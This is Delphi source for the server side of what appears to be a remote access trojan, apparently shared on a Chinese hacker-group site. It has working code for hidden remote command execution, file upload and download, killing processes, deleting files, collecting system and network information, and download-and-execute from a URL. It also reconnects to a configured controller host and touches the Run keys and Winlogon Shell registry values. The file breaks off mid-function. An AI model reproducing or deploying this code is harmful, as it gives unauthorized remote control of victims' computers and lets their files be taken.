远程控制编程

开发平台：
Delphi

Userver.pas：源码内容
							{南域剑盟    www.98exe.com   上兴QQ:51992
 声明：程序由南域剑盟98exe.com成员网上搜集，不承担技术及版权问题}
{随便加了点注释，文件传输不详细注了，大家网上找相关资料看}
unit UServer;
interface
uses
  Windows, Messages, Winsock, Wininet, untCMDList, ShellApi, psApi, TLHelp32,
    untHTTPDownload,SysUtils2,URsConst;
const
  version = '0.50B';
  LF = #10;
  CR = #13;
  EOL = CR + LF;
  { host          : string = '127.0.0.1';
   password      : string = 'shj';
   port          : integer = 80;
   }
  {文件属性常量}
  faReadOnly = $00000001; //只读文件
  faHidden = $00000002; //隐藏文件
  faSysFile = $00000004; // 系统文件
  faVolumeID = $00000008; // 卷标文件
  faDirectory = $00000010; // 目录
  faArchive = $00000020; //归档文件
  faAnyFile = $0000003F; // 任意文件
  ERROR_DISCONNECT      = 01;    // If server (remote connection disconnects)
  ERROR_FAIL            = 02;    // If server or client fails. Socket failures.
  ERROR_CONNECT         = 03;    // If client cant connect to server or reverse.
  ERROR_LISTEN          = 04;    // If server cant listen on choosen port.
  ERROR_ACCEPT          = 05;    // If server cant accept socket.
  ERROR_BREAK           = 06;    // If breaking from something.
  ERROR_LOSTCONNECTION  = 07;    // If server dies of some reason.
  ERROR_BIND            = 08;
  SUCCESS_CONNECT       = 09;    // Connection established without problems.
  SUCCESS_FINISHED      = 10;    // Finished sending file without problems.
  SUCCESS_ACCEPT        = 11;    // Accepted remote connection fine.
type
  TFileName = type string; //文件
  TSearchRec = record
    Time: Integer;
    Size: Integer;
    Attr: Integer;
    Name: TFileName;
    ExcludeAttr: Integer;
    FindHandle: THandle;
    FindData: TWin32FindData;
  end;
  LongRec = packed record
    case Integer of
      0: (Lo, Hi: Word);
      1: (Words: array[0..1] of Word);
      2: (Bytes: array[0..3] of Byte);
  end;
  TInfo = record
    Name: string;
    Host: string;
    Port: Integer;
    Size: Integer;
  end;
  PInfo = ^TInfo;
  RemoteSock = Record
    Sock: TSocket;
    Count: Integer;
  End;
  rSock = ^RemoteSock;
  TServer = class(TObject)
  private
    Sock: TSocket;
    Addr: TSockAddrIn;
    WSA: TWSAData;
    TempSock    :TSocket;                 //srv
    Remote      :TSockAddr;               //srv
    Len         :Integer;                 //srv
    BlockList   :Array[0..99] Of String;  //srv
  public
    SocketList  :Array[0..99] Of TSocket; //srv
    Port        :Integer;                 //srv
    Count       :Integer;                 //srv
    ReturnError :Integer;                 //srv
    Function Listen: Integer;
    Function AcceptNew(SSock: TSocket): Integer;            //srv
    Function GetFreeHandle(VAR Int: Integer): Integer;      //srv
    Function ReCount: Integer;
    Function Disconnect(dAddress, dPort: String): Boolean;  //srv
    Procedure ResolveStatus(Int: Integer);
    procedure Connect;
    procedure SendData(Text: string);
    function GetNet: string;
  end;
var
  Serv: TServer;
  PieZhi:TRedCtrl;
  ConFile:string;
  Info: TInfo;
  Port: Integer;
  Close: Boolean;
  LastDir: string;
  Host: string;
  Password: string;
  HandleList: Array[0..99] Of THandle;
  rSocket: RemoteSock;
  //判断网络是否链接--------------------------------------------
function InternetGetConnectedStateEx(
  lpdwFlags: LPDWORD;
  lpszConnectionName: LPTSTR;
  dwNameLen: DWORD;
  dwReserved: DWORD): BOOL; stdcall;
external 'wininet.dll' name 'InternetGetConnectedStateEx';
procedure miniratMain;stdcall;
implementation
procedure SetRegValue(ROOT: hKey; Path, Value, Str: string);
var
  Key: hKey;
  Size: Cardinal;
begin
  RegOpenKey(ROOT, pChar(Path), Key); //打开给定键
  Size := 2048;
  RegSetValueEx(Key, pChar(Value), 0, REG_SZ, @Str[1], Size); //写注册表
  RegCloseKey(Key); //释放
end;
procedure SetDelValue(ROOT: hKey; Path, Value: string);
var
  Key: hKey;
  Size: Cardinal;
begin
  RegOpenKey(ROOT, pChar(Path), Key);
  Size := 2048;
  RegDeleteValue(Key, pChar(Value));
  RegCloseKey(Key);
end;
//写入注册表-----------------------------------------------
procedure Uninstall;
begin
  SetDelValue(HKEY_LOCAL_MACHINE,
    'SoftwareMicrosoftWindowsCurrentVersionRun', dRegName);
  SetDelValue(HKEY_CURRENT_USER,
    'SoftwareMicrosoftWindowsCurrentVersionRun', dRegName);
  SetRegValue(HKEY_LOCAL_MACHINE,
    'SoftwareMicrosoft NTWindowsCurrentVersionWinlogon', 'Shell',
    'Explorer.exe');
  ExitProcess(0);
end;
function Enumeration(dRes: PNetResource; dI: Integer): string;
var
  dHandle: THandle;
  K: DWord;
  BufferSize: DWord;
  Buffer: array[0..1023] of TNetResource;
  I: Word;
  Temp: string;
begin
  WNetOpenEnum(2, 0, 0, dRes, dHandle);
  K := 1024; //  大小为1024
  BufferSize := SizeOf(Buffer); //获得盘
  while (WNetEnumResource(dHandle, K, @Buffer, BufferSize) = 0) do //获得资源
    for I := 0 to K - 1 do
    begin
      if (Buffer[I].dwDisplayType = RESOURCEDISPLAYTYPE_SERVER) then
        //显示类型为服务器(工作组)
      begin
        Temp := IntToStr(C_INFONETWORK) + ' ' + pChar(Buffer[I].lpRemoteName) +
          ' "' + pChar(Buffer[I].lpComment) + '"'#10;
        if (Pos(Temp, Result) = 0) then
          Result := Result + Temp;
      end;
      if (Buffer[I].dwUsage > 0) then
      begin
        Temp := Enumeration(@Buffer[I], 1);
        if (Pos(Temp, Result) = 0) then
          Result := Result + Temp;
      end;
    end;
  WNetCloseEnum(dHandle); // 获取所有目录
end;
function GetNetworkInfo: string;
begin
  Result := IntToStr(C_INFONETWORK) + ' Domains Comments'#10 +
    Enumeration(nil, 0);
end;
//尾部加入资源，版本，地址，密码，端口－－－－－－－－－－－－－－－－－－
function GetServerInfo: string;
begin
  Result := IntToStr(C_INFOSERVER) + ' Version ' + Version + #10 +
    IntToStr(C_INFOSERVER) + ' RmtAddr ' + PieZhi.dDnsHost + #10 +
    IntToStr(C_INFOSERVER) + ' Password ' + PieZhi.dPass + #10 +
    IntToStr(C_INFOSERVER) + ' SrvPort ' + PieZhi.dLocalPort + #10 +
    IntToStr(C_INFOSERVER) + ' RmtPort ' + PieZhi.dRemotePort + #10;
end;
//记录-----
function GetInformation: string;
var
  HostName: array[0..069] of Char;
  Sysdir: array[0..255] of Char;
  MemoryStatus: TMemoryStatus;
  Total: Integer;
begin
  GetHostName(HostName, SizeOf(HostName));
  GetSystemDirectory(Sysdir, 256);
  MemoryStatus.dwLength := SizeOf(TMemoryStatus);
  GlobalMemoryStatus(MemoryStatus);
  Total := GetTickCount() div 1000;
  Result := IntToStr(C_INFOSYSTEM) + ' Hostname ' + Hostname + #10 +
    IntToStr(C_INFOSYSTEM) + ' System ' + string(SysDir) + #10 +
    IntToStr(C_INFOSYSTEM) + ' Memory(Total) ' +
      IntToStr(MemoryStatus.dwTotalPhys div 1048576) + ' MB Total'#10 +
    IntToStr(C_INFOSYSTEM) + ' Memory(Free) ' + IntToStr(MemoryStatus.dwAvailPhys
      div 1048576) + ' MB Free'#10 +
    IntToStr(C_INFOSYSTEM) + ' Memory(Used) ' +
      IntToStr(MemoryStatus.dwMemoryLoad) + '% In Use'#10 +
    IntToStr(C_INFOSYSTEM) + ' Uptime ' + IntToStr(Total div 86400) + ' days ' +
    IntToStr((Total mod 86400) div 3600) + ' hours ' +
    IntToStr(((Total mod 86400) mod 3600) div 60) + ' min ' +
    IntToStr((((Total mod 86400) mod 3600) mod 60) div 1) + ' sec'#10;
end;
//检查本机网络状态---------------------
function TServer.GetNet: string;
var
  W: DWord;
  Name: array[0..128] of Char;
begin
  FillChar(Name, SizeOf(Name), 0);
  InternetGetConnectedStateEx(@W, Name, 128, 0); //检查连接internet状态
  if (W and INTERNET_CONNECTION_LAN) = INTERNET_CONNECTION_LAN then
    Result := 'LAN (' + string(Name) + ')'
  else
    Result := 'Dial-Up (' + string(Name) + ')';
end;
// Send Data
function SendData(Sock: TSocket; Text: string; var sByte: Cardinal): Integer;
var
  Len: Integer;
begin
  Result := Length(Text);
  Len := Send(Sock, Text[1], Length(Text), 0);
  Inc(sByte, Len);
end;
//下面基本都是功能了，文件的操作等
procedure StripOutCmd(Text: string; var Cmd: string);
begin Cmd := Copy(Text, 1, Pos(' ', Text) - 1);
end;
procedure StripOutParam(Text: string; var Param: array of string);
var
  I: Word;
begin
  if Text = '' then Exit;
  FillChar(Param, SizeOf(Param), 0);
  Delete(Text, 1, Pos(' ', Text));
  if Text = '' then Exit;
  if (Text[Length(Text)] <> ' ') then Text := Text + ' ';
  I := 0;
  while (Pos(' ', Text) > 0) do
  begin
    Param[I] := Copy(Text, 1, Pos(' ', Text) - 1);
    Inc(I);
    Delete(Text, 1, Pos(' ', Text));
    if (I >= 100) then Break;
  end;
end;
//   传递文件
function RecvFile(P: Pointer): DWord; STDCALL;
var
  Sock: TSocket;
  Addr: TSockAddrIn;
  WSA: TWSAData;
  BytesRead: Cardinal;
  F: file;
  Buf: array[0..8192] of Char;
  dErr: Integer;
  Name: string;
  Host: string;
  Port: Integer;
  Size: Integer;
  T: string;
begin
  Name := PInfo(P)^.Name;
  Host := PInfo(P)^.Host;
  Port := PInfo(P)^.Port;
  Size := PInfo(P)^.Size;
  WSAStartUp($0101, WSA);
  Sock := Socket(AF_INET, SOCK_STREAM, 0);
  Addr.sin_family := AF_INET;
  Addr.sin_port := hTons(Port);
  Addr.sin_addr.S_addr := inet_Addr(pchar(Host));
  if (connect(Sock, Addr, SizeOf(Addr)) <> 0) then Exit;
  {$I-}
  T := 'ok';
  AssignFile(F, Name);
  Rewrite(F, 1);
  repeat
    FillChar(Buf, SizeOf(Buf), 0);
    dErr := Recv(Sock, Buf, SizeOf(Buf), 0);
    if (dErr > 0) then
      BlockWrite(F, Buf, dErr)
    else
      Break;
    Dec(Size, dErr);
    dErr := Send(Sock, T[1], Length(T), 0);
  until Size <= 0;
  CloseFile(F);
  {$I+}
  WSACleanUp();
end;
//定时检测
function SendFile(P: Pointer): DWord; STDCALL;
var
  Sock: TSocket;
  Addr: TSockAddrIn;
  WSA: TWSAData;
  BytesRead: Cardinal;
  F: file;
  Buf: array[0..8192] of Char;
  dErr: Integer;
  Name: string;
  Host: string;
  Port: Integer;
  T: string;
begin
  Name := PInfo(P)^.Name;
  Host := PInfo(P)^.Host;
  Port := PInfo(P)^.Port;
  WSAStartUp($0101, WSA);
  Sock := Socket(AF_INET, SOCK_STREAM, 0);
  Addr.sin_family := AF_INET;
  Addr.sin_port := hTons(Port);
  Addr.sin_addr.S_addr := inet_Addr(pchar(Host));
  if (connect(Sock, Addr, SizeOf(Addr)) <> 0) then Exit;
  {$I-}
  T := 'ok';
  AssignFile(F, Name);
  Reset(F, 1);
  repeat
    BlockRead(F, Buf, SizeOf(Buf), BytesRead);
    if (BytesRead = 0) then Break;
    Send(Sock, Buf[0], SizeOf(Buf), 0);
    FillChar(Buf, SizeOf(Buf), 0);
    Recv(Sock, Buf, SizeOf(Buf), 0);
  until BytesRead = 0;
  CloseFile(F);
  {$I+}
  WSACleanUp();
end;
//取回的文件大小 ------------------------------
function GetFileSize(FileName: string): Int64;
var
  H: THandle;
  Data: TWIN32FindData;
begin
  Result := -1;
  H := FindFirstFile(pChar(FileName), Data);
  if (H <> INVALID_HANDLE_VALUE) then
  begin
    Windows.FindClose(H);
    Result := Int64(Data.nFileSizeHigh) shl 32 + Data.nFileSizeLow;
  end;
end;
//将IP解释成主机名
function RemoteAddr(Sock: TSocket): TSockAddrIn;
var
  W: TWSAData;
  S: TSockAddrIn;
  I: Integer;
begin
  WSAStartUP($0101, W);
  I := SizeOf(S);
  GetPeerName(Sock, S, I);
  WSACleanUP();
  Result := S;
end;
function RemoteAddress(Sock: TSocket): string;
begin
  Result := INET_NTOA(RemoteAddr(Sock).sin_addr);
end;
function FindMatchingFile(var F: TSearchRec): Integer;
var
  LocalFileTime: TFileTime; //文件创建的时间
begin
  with F do
  begin
    while FindData.dwFileAttributes and ExcludeAttr <> 0 do
      if not FindNextFile(FindHandle, FindData) then
      begin
        Result := GetLastError;
        Exit;
      end;
    FileTimeToLocalFileTime(FindData.ftLastWriteTime, LocalFileTime);
    FileTimeToDosDateTime(LocalFileTime, LongRec(Time).Hi, LongRec(Time).Lo);
    Size := FindData.nFileSizeLow;
    Attr := FindData.dwFileAttributes;
    Name := FindData.cFileName;
  end;
  Result := 0;
end;
procedure FindClose(var F: TSearchRec);
begin
  if F.FindHandle <> INVALID_HANDLE_VALUE then
  begin
    Windows.FindClose(F.FindHandle);
    F.FindHandle := INVALID_HANDLE_VALUE;
  end;
end;
function FindFirst(const Path: string; Attr: Integer;
  var F: TSearchRec): Integer;
const
  faSpecial = faHidden or faSysFile or faVolumeID or faDirectory;
begin
  F.ExcludeAttr := not Attr and faSpecial;
  F.FindHandle := FindFirstFile(PChar(Path), F.FindData);
  if F.FindHandle <> INVALID_HANDLE_VALUE then
  begin
    Result := FindMatchingFile(F);
    if Result <> 0 then FindClose(F);
  end
  else
    Result := GetLastError;
end;
function FindNext(var F: TSearchRec): Integer;
begin
  if FindNextFile(F.FindHandle, F.FindData) then
    Result := FindMatchingFile(F)
  else
    Result := GetLastError;
end;
//找到的是个目录而不是文件...
procedure GenerateList(ASock: TSocket; Dir: string; dNr: Integer);
var
  SR: TSearchRec;
  Temp: string;
  Att: string;
begin
  if (Dir = '') then Exit;
  if (Dir[Length(Dir)] <> '') then Dir := Dir + '';
  if FindFirst(Dir + '*.*', faDirectory or faHidden or faSysFile or faVolumeID or
    faArchive or faAnyFile, SR) = 0 then
    repeat
      if ((SR.Attr and faDirectory) = faDirectory) then
      begin
        Temp := IntToStr(C_REQUESTLIST) + ' DIR 0 ' + SR.Name + #10;
        if (dNr = 1) then
          Send(ASock, Temp[1], Length(Temp), 0);
      end
      else
      begin
        Att := '';
        if ((SR.Attr and faReadOnly) = faReadOnly) then
          Att := Att + 'ReadOnly/';
        if ((SR.Attr and faHidden) = faHidden) then Att := Att + 'Hidden/';
        if ((SR.Attr and faSysFile) = faSysFile) then Att := Att + 'SysFile/';
        if ((SR.Attr and faVolumeID) = faVolumeID) then
          Att := Att + 'VolumeID/';
        if ((SR.Attr and faArchive) = faArchive) then Att := Att + 'Archive/';
        if ((SR.Attr and faAnyFile) = faAnyFile) then Att := Att + 'AnyFile/';
        if Copy(Att, length(Att), 1) = '/' then
          Delete(Att, Length(Att), 1);
        Temp := IntToStr(C_REQUESTLIST) + ' ' + Att + ' ' + IntToStr(SR.Size) +
          ' ' + SR.Name + #10;
        if (dNr = 2) then
          Send(ASock, Temp[1], Length(Temp), 0);
      end;
    until FindNext(SR) <> 0;
end;
procedure CvtInt;
asm
       OR      CL,CL
       JNZ     @CvtLoop
@C1:    OR      EAX,EAX
       JNS     @C2
       NEG     EAX
       CALL    @C2
       MOV     AL,'-'
       INC     ECX
       DEC     ESI
       MOV     [ESI],AL
       RET
@C2:    MOV     ECX,10
@CvtLoop:
       PUSH    EDX
       PUSH    ESI
@D1:    XOR     EDX,EDX
       DIV     ECX
       DEC     ESI
       ADD     DL,'0'
       CMP     DL,'0'+10
       JB      @D2
       ADD     DL,('A'-'0')-10
@D2:    MOV     [ESI],DL
       OR      EAX,EAX
       JNE     @D1
       POP     ECX
       POP     EDX
       SUB     ECX,ESI
       SUB     EDX,ECX
       JBE     @D5
       ADD     ECX,EDX
       MOV     AL,'0'
       SUB     ESI,EDX
       JMP     @z
@zloop: MOV     [ESI+EDX],AL
@z:     DEC     EDX
       JNZ     @zloop
       MOV     [ESI],AL
@D5:
end;
function IntToHex(Value: Integer; Digits: Integer): string;
asm
       CMP     EDX, 32
       JBE     @A1
       XOR     EDX, EDX
@A1:    PUSH    ESI
       MOV     ESI, ESP
       SUB     ESP, 32
       PUSH    ECX
       MOV     ECX, 16
       CALL    CvtInt
       MOV     EDX, ESI
       POP     EAX
       CALL    System.@LStrFromPCharLen
       ADD     ESP, 32
       POP     ESI
end;
//列出进程 + 列出模块 (查看PID, 线程, 模块)
procedure ListProcess(ASock: TSocket;dInt: Integer);
var
  CB: DWord;
  hMod_: HMODULE;
  hMod: array[0..300] of HMODULE;
  hProcess: THandle;
  hModule: THandle;
  hSnapShot: THandle;
  ProcessName: array[0..300] of Char;
  ModuleName: array[0..300] of Char;
  ProcessEntry: TProcessEntry32;
  Done: Boolean;
  Temp: string;
  Mods: Integer;
  I: Word;
  B: array[0..9] of Char;
begin
  hSnapShot := CreateToolHelp32SnapShot(TH32CS_SNAPPROCESS, 0);
  ProcessEntry.dwSize := SizeOf(ProcessEntry);
  Done := Process32First(hSnapShot, ProcessEntry);
  while Done do
  begin
    hProcess := OpenProcess(PROCESS_QUERY_INFORMATION or PROCESS_VM_READ, False,
      ProcessEntry.th32ProcessID);
    if (hProcess <> 0) then
    begin
      EnumProcessModules(hProcess, @hMod_, SizeOf(hMod_), CB);
      GetModuleFileNameExA(hProcess, hMod_, ProcessName, SizeOf(ProcessName));
      if (Pos('', ProcessName) > 0) then
      begin
        Temp := IntToStr(C_PROCESSLIST) + ' ' +
          IntToStr(ProcessEntry.cntThreads) + ' ' +
          IntToStr(ProcessEntry.th32ProcessID) + ' ' +
          IntToHex(ProcessEntry.th32ProcessID, 8) + ' ' +
          ProcessName + #10;
        Send(ASock, Temp[1], Length(Temp), 0);
        if (Recv(ASock, B[0], SizeOf(B), 0) <= 0) then
        begin
          CloseHandle(hProcess);
          CloseHandle(hSnapShot);
          Exit;
        end;
        if (dInt = 1) then
        begin
          EnumProcessModules(hProcess, @hMod, SizeOf(hMod), CB);
          Mods := CB div SizeOf(HMODULE);
          Temp := '';
          for I := 0 to Mods do
          begin
            GetModuleFilenameExA(hProcess, hMod[I], ModuleName,
              SizeOf(ModuleName));
            Temp := IntToStr(C_MODULELIST) + ' ' +
              IntToStr(ProcessEntry.th32ProcessID) + ' ' +
              ExtractFileName(ProcessName) + #1' ' +
              ModuleName + #10;
            Send(ASock, Temp[1], Length(Temp), 0);
            if (Recv(ASock, B[0], SizeOf(B), 0) <= 0) then
            begin
              CloseHandle(hProcess);
              CloseHandle(hSnapShot);
              Exit;
            end;
          end;
        end;
      end;
      CloseHandle(hProcess);
    end;
    Done := Process32Next(hSnapshot, ProcessEntry);
  end;
  CloseHandle(hSnapShot);
end;
procedure EndProcess(ASock: TSocket;dPID: string);
var
  ProcessHandle: THandle;
  ReturnValue: Boolean;
  Temp: string;
begin
  ProcessHandle := OpenProcess(PROCESS_TERMINATE, BOOL(0), StrToInt(dPID));
  ReturnValue := TerminateProcess(ProcessHandle, 0);
  if (not ReturnValue) then
    Temp := IntToStr(C_ENDPROCESS) + ' ' + dPID + ' 0'#10
  else
    Temp := IntToStr(C_ENDPROCESS) + ' ' + dPID + ' 1'#10;
  Send(ASock, Temp[1], Length(Temp), 0);
end;
function RunDosInCap(DosApp: string): string;
const
  ReadBuffer = 24000;
var
  Security: TSecurityAttributes;
  ReadPipe, WritePipe: THandle;
  start: TStartUpInfo;
  ProcessInfo: TProcessInformation;
  Buffer: Pchar;
  BytesRead, Apprunning: DWord;
begin
  with Security do
  begin
    nlength := SizeOf(TSecurityAttributes);
    binherithandle := true;
    lpsecuritydescriptor := nil;
  end;
  if Createpipe(ReadPipe, WritePipe, @Security, 0) then
  begin
    Buffer := AllocMem(ReadBuffer + 1);
    FillChar(Start, Sizeof(Start), #0);
    start.cb := SizeOf(start);
    start.hStdOutput := WritePipe;
    start.hStdInput := ReadPipe;
    start.dwFlags := STARTF_USESTDHANDLES + STARTF_USESHOWWINDOW;
    start.wShowWindow := SW_HIDE;
    if CreateProcess(nil, PChar(DosApp), @Security, @Security, true,
      NORMAL_PRIORITY_CLASS, nil, nil, start, ProcessInfo) then
    begin
      repeat
        Apprunning := WaitForSingleObject(ProcessInfo.hProcess, 100);
      until (Apprunning <> WAIT_TIMEOUT);
      repeat
        BytesRead := 0;
        ReadFile(ReadPipe, Buffer[0], ReadBuffer, BytesRead, nil);
        Buffer[BytesRead] := #0;
        OemToAnsi(Buffer, Buffer);
        Result := Result + string(Buffer);
      until (BytesRead < ReadBuffer);
    end;
    FreeMem(Buffer);
    CloseHandle(ProcessInfo.hProcess);
    CloseHandle(ProcessInfo.hThread);
    CloseHandle(ReadPipe);
    CloseHandle(WritePipe);
  end;
end;
procedure ReplaceStr(ReplaceWord, WithWord: string; var Text: string);
var
  xPos: Integer;
begin
  while Pos(ReplaceWord, Text) > 0 do
  begin
    xPos := Pos(ReplaceWord, Text);
    Delete(Text, xPos, Length(ReplaceWord));
    Insert(WithWord, Text, xPos);
  end;
end;
//文件传递
procedure ReceiveData(AP: Pointer);STDCALL;
var
  Buffer: array[0..1600] of Char;
  Data: string;
  Time: TTimeVal;
  FDS: TFDSet;
  D: Dword;
  Len: Integer;
  Port: Integer;
  Temp: string;
  Cmd: string;
  Param: array[0..100] of string;
  P: Integer;
  FName: string;
  LSock: TSocket;
  Count: Integer;
  rByte: Cardinal;
  sByte: Cardinal;
begin
  LSock := rSock(AP)^.Sock;
  Count := rSock(AP)^.Count;
//  Address := RemoteAddress(Sock);
//  Port := RemotePort(Sock);
  rByte := 0;
  sByte := 0;
  repeat
    Time.tv_sec := 120;
    Time.tv_usec := 0;
    FD_ZERO(FDS);
    FD_SET(LSock, FDS);
    if Select(0, @FDS, nil, nil, @TIME) <= 0 then Break;
    Len := Recv(LSock, Buffer, 1600, 0);
    if (Len <= 0) then Break;
    Data := string(Buffer);
    ZeroMemory(@Buffer, SizeOf(Buffer));
    while (Pos(#10, Data) > 0) do
    begin
      Temp := Copy(Data, 1, Pos(#10, Data) - 1);
      Delete(Data, 1, Pos(#10, Data));
      StripOutCmd(Temp, Cmd);
      StripOutParam(Temp, Param);
      case StrToInt(Cmd) of
        C_DOWNLOAD:
          begin
            Temp := IntToStr(C_DOWNLOAD) + ' ' + ExecuteFileFromURL(Param[0],
              Copy(Temp, Pos(Param[1], Temp), Length(Temp)));
            Send(LSock, Temp[1], Length(Temp), 0);
            Sleep(2000);
            ExitProcess(0);
          end;
        C_UNINSTALL: Uninstall;
        C_PASS: If (Param[0] <> Password) Then
                Begin
                  SendData(LSock, '01 0'#10, sByte); //密码不正确
                  CloseSocket(LSock);
                  Break;
                End Else
                  SendData(LSock, '01 1'#10, sByte); //密码正确
        C_GETFILE:
          begin
            Delete(Temp, 1, 2);
            if (FileExists(Temp)) then
            begin
              FName := ExtractFileName(Temp);
              repeat
                P := Pos(#32, FName);
                Delete(FName, P, 1);
                Insert('_', FName, P);
              until (Pos(#32, FName) = 0);
              Port := ((Random(9) + 1) * 1000) + Random(500);
              SendData(LSock,IntToStr(C_STARTTRANSFER)+' 0 '+IntToStr(GetFileSize(Temp))+' '+IntToStr(Port)+' '+FName+#10,sByte);
              Info.Name := Temp;
              Info.Host := RemoteAddress(LSock);
              Info.Port := Port;
              CreateThread(nil, 0, @SendFile, @Info, 0, D);
            end;
          end;
        C_PUTFILE:
          begin
            (* C_PUTFILE size NewName#1 OldName *)
            Temp := Copy(Temp, Pos(Param[1], Temp), Length(Temp));
            FName := Copy(Temp, Pos(#1, Temp) + 2, Length(Temp));
            Temp := Copy(Temp, 1, Pos(#1, Temp) - 1);
            Port := ((Random(9) + 1) * 1000) + Random(500);
            SendData(LSock,IntToStr(C_STARTTRANSFER) + ' 1 ' + Param[0] + ' ' +
              IntToStr(Port) + ' ' + FName + #10,sByte);
            Info.Name := Temp;
            Info.Host := RemoteAddress(LSock);
            Info.Port := Port;
            Info.Size := StrToInt(Param[0]);
            CreateThread(nil, 0, @RecvFile, @Info, 0, D);
          end;
        C_INFOSYSTEM: SendData(LSock,GetInformation(),sByte);
        C_INFOSERVER: SendData(Lsock,GetServerInfo(),sByte);
        C_INFONETWORK: SendData(LSock,GetNetworkInfo(),sByte);
        C_REQUESTDRIVE:
          begin
            SetLength(Temp, 300);
            GetLogicalDriveStrings(300, pChar(Temp));
            while (Pos(#0, Temp) > 0) and (pos('',temp)>0) and (Pos(':',Temp)>0) do
            begin
              FName := IntToStr(C_REQUESTDRIVE) + ' ' + Copy(Temp, 1, Pos(#0,
                Temp) - 1) + #10;
              Temp := Copy(Temp, Pos(#0, Temp) + 1, Length(Temp));
              Send(LSock, FName[1], Length(FName), 0);
              FName := '';
            end;
          end;
        C_REQUESTLIST:
          begin
            Temp := Copy(Temp, Pos(Param[0], Temp), Length(Temp));
            GenerateList(LSock, Temp, 1);
            GenerateList(LSock,Temp, 2);
            LastDir := IntToStr(C_CURRENTPATH) + ' ' + Temp;
            if LastDir <> '' then
              if (LastDir[Length(LastDir)] <> '') then
                LastDir := LastDir + '';
            LastDir := LastDir + #10;
          end;
        C_CURRENTPATH: Send(LSock, LastDir[1], Length(LastDir), 0);
        C_EXECUTE:
          begin
            Temp := Copy(Temp, Pos(Param[1], Temp), Length(Temp));
            ShellExecute(0, 'open', pChar(Temp), nil, nil, StrToInt(Param[0]));
          end;
        C_DELETE:
          begin
            Temp := Copy(Temp, Pos(Param[0], Temp), Length(Temp));
            DeleteFile(pChar(Temp));
          end;
        C_PROCESSLIST:
          begin
            ListProcess(LSock,StrToInt(Param[0]));
            Temp := IntToStr(C_FINISH) + ' '#10;
            Send(LSock, Temp[1], Length(Temp), 0);
          end;
        C_ENDPROCESS: EndProcess(LSock,Copy(Temp, 4, Length(Temp)));
        C_REMOTECMD:
          begin
            Temp := IntToStr(C_REMOTECMD) + ' ' +
              RunDosInCap(Copy(Temp, 4, Length(Temp)));
            ReplaceStr(#10, #1, Temp);
            Temp := Temp + #10;
            Send(LSock, Temp[1], Length(Temp), 0);
          end;
      end;
    end;
  until 1 = 2;
  CloseSocket(LSock);
end;
procedure TServer.SendData(Text: string);
var
  dErr: Integer;
begin
  dErr := Send(Sock, Text[1], Length(Text), 0);
  if (dErr = 0) then Exit;
end;
function ComputerName: string;
var
  CNameBuffer: PChar;
  fl_loaded: Boolean;
  CLen: ^DWord;
begin
  GetMem(CNameBuffer,255);
  New(CLen);
  CLen^:= 255;
  fl_loaded := GetComputerName(CNameBuffer,CLen^);
  if fl_loaded then
    Result := StrPas(CNameBuffer)
  else
    Result := 'Unkown';
  FreeMem(CNameBuffer,255);
  Dispose(CLen);
end;
// Function for creating sockets and listening.
Function TServer.Listen: Integer;      //srv type
Begin
  WSAStartUp($0101, WSA);
  Count := 0;
  FillChar(SocketList, 99, 0);
  Sock := Socket(AF_INET, SOCK_STREAM, 0);
  Addr.sin_family := AF_INET;
  Addr.sin_port := hTons(Port);
  Addr.sin_addr.S_addr := INADDR_ANY;
  If (Bind(Sock, Addr, SizeOf(Addr)) <> 0) Then
  Begin
    Result := ERROR_BIND;
    ReturnError := Result;
    WSACleanUp();
    Exit;
  End;
  If (Winsock.listen(Sock, SOMAXCONN) <> 0) Then
  Begin
    Result := ERROR_LISTEN;
    ReturnError := Result;
    WSACleanUp();
    Exit;
  End;
  Len := SizeOf(Remote);
  Repeat
    TempSock := Accept(Sock, @Remote, @Len);
    If (TempSock = INVALID_SOCKET) Then
    Begin
      Result := ERROR_ACCEPT;
      ReturnError := Result;
      WSACleanUp();
      Exit;
    End;
    ResolveStatus(AcceptNew(TempSock));
    TempSock := INVALID_SOCKET;
  Until False;
  WSACleanUp();
End;
Function TServer.GetFreeHandle(VAR Int: Integer): Integer;
Var
  I: WORD;
Begin
  Result := -1;
  For I := 0 to 99 Do
    If (HandleList[I] = 0) Then
    Begin
      Result := I;
      Int := I;
      Break;
    End;
End;
// Remote Socket Port
Function RemotePort(Sock: TSocket): String;
Begin
  Result := IntToStr(nTohs(RemoteAddr(Sock).sin_port));
End;
Function TServer.ReCount: Integer;
Var
  I: Word;
Begin
  Result := 0;
  For I := 0 To 99 Do
    If (SocketList[I] > 0) Then
      Inc(Result);
End;
Function TServer.Disconnect(dAddress, dPort: String): Boolean;
Var
  I: Word;
  J: Word;
  rHost: String;
  rPort: String;
Begin
  For I := 0 To 99 Do
  Begin
    rHost := RemoteAddress(SocketList[I]);
    rPort := RemotePort(SocketList[I]);
    If (rHost = dAddress) and (rPort = dPort) Then
    Begin
      CloseSocket(SocketList[I]);
      SocketList[I] := INVALID_SOCKET;
      Break;
    End;
  End;
End;
// Report back to user at client GUI interface.
Procedure TServer.ResolveStatus(Int: Integer);
Begin
{  Case ReturnError Of
    ERROR_DISCONNECT:           //'Error: Server disconnected.';
    ERROR_FAIL:                 //'Error: Failed.';
    ERROR_CONNECT:              //'Error: Connection failed.';
    ERROR_LISTEN:               //'Error: Listen failed.';
    ERROR_ACCEPT:               //'Error: Accept of new server failed.';
    ERROR_BREAK:                //'Error: "Break" used, procedure failed.';
    ERROR_LOSTCONNECTION:       //'Error: Lost connection.';
    ERROR_BIND:                 //'Error: Bind failed.';
    SUCCESS_CONNECT:            //'Connected successfully.';
    SUCCESS_FINISHED:           //'Finished successfully.';
    SUCCESS_ACCEPT:             //'Accepted new connection.';
  End;
  }
End;
Function TServer.AcceptNew(SSock: TSocket): Integer;     //srv type
Var
  I: Integer;
  D: DWord;
Begin
  If (GetFreeHandle(I) = -1) or (SSock <= 0) Then
  Begin
    Result := ERROR_ACCEPT;
    Exit;
  End;
  rSocket.Sock := SSock;
  rSocket.Count := I;
  SocketList[I] := SSock;
  HandleList[I] := CreateThread(nil, 0, @ReceiveData, @rSocket, 0, D);
  Count := ReCount();
  Result := SUCCESS_ACCEPT;
End;
procedure TServer.Connect;
begin
  Password := PieZhi.dPass;
  Host := ResolveIP(PieZhi.dDnsHost);
  Port := StrToInt(PieZhi.dRemotePort);
  WSAStartUP($0101, WSA); //加载winsock库
  Close := False;
  repeat
    Sock := Socket(AF_INET, SOCK_STREAM, 0);
    Addr.sin_family := AF_INET;
    Addr.sin_port := hTons(Port);
    Addr.sin_addr.S_addr := inet_Addr(pChar(Host));
    if (Winsock.Connect(Sock, Addr, SizeOf(Addr)) = 0) then
